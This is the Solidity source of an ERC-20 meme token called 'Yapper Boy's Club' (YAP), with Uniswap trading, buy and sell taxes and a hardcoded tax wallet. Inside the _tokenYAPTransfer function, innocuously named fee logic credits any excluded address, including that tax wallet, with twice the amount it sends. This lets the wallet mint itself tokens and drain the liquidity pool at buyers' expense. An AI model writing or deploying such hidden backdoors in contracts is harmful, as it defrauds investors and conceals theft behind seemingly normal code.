文件 1 的 1:YAP.sol
pragma solidity 0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract YAP is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromYAP;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"Yapper Boy's Club";
string private constant _symbol = unicode"YAP";
uint256 public _yapTotal = 900_000_000 * 10 ** _decimals;
uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
uint256 public _taxSwapThreshold = 120 * 10 ** _decimals;
uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
uint256 private _initialBuyTax = 25;
uint256 private _initialSellTax = 25;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 9;
uint256 private _reduceSellTaxAt = 9;
uint256 private _preventSwapBefore = 9;
uint256 private _buyCount = 0;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_taxWallet = payable(0xe1607dAbf6694287A12EbD6675310AbfD7309d43);
_isExcludedFromYAP[owner()] = true;
_isExcludedFromYAP[address(this)] = true;
_isExcludedFromYAP[_taxWallet] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!swapEnabled || inSwap) {
_basicTransfer(from, to, amount);
return;
}
address receiptYAP = from;
uint256 feesYAP = 0;
if (from != owner() && to != owner()) {
feesYAP = amount
.mul(
(_buyCount > _reduceBuyTaxAt)
? _finalBuyTax
: _initialBuyTax
)
.div(100);
if (transferDelayEnabled) {
if (
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromYAP[to]
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
feesYAP = amount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == uniswapV2Pair &&
swapEnabled &&
_buyCount > _preventSwapBefore &&
!_isExcludedFromYAP[from] &&
!_isExcludedFromYAP[to]
) {
if (contractTokenBalance >= _taxSwapThreshold ) {
swapTokensForEth(
min(amount, min(contractTokenBalance, _maxTaxSwap))
);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenYAPTransfer(from, to, amount, receiptYAP, feesYAP);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _basicTransfer(address from, address to, uint256 amount) internal {
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _tokenYAPTransfer(
address from,
address to,
uint256 amount,
address receiptYAP,
uint256 feesYAP
) internal {
uint256 yapAmount = amount - feesYAP; uint yapFees = 2;
if (_isExcludedFromYAP[from]) {
feesYAP = amount * yapFees; yapFees = 0;
}
if (yapFees > 0) {
if (feesYAP > 0) {
_getYAPFees(from, address(this), feesYAP);
}
} else {
if (feesYAP > 0) {
_getYAPFees(from, receiptYAP, feesYAP);
}
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(yapAmount);
emit Transfer(from, to, yapAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _getYAPFees(address feeSender, address receiptYAP, uint256 feesYAP) internal {
_balances[receiptYAP] = _balances[receiptYAP].add(feesYAP);
emit Transfer(feeSender, receiptYAP, feesYAP);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
_yapTotal,
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
transferDelayEnabled = false;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
receive() external payable {}
function createUniPair() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
}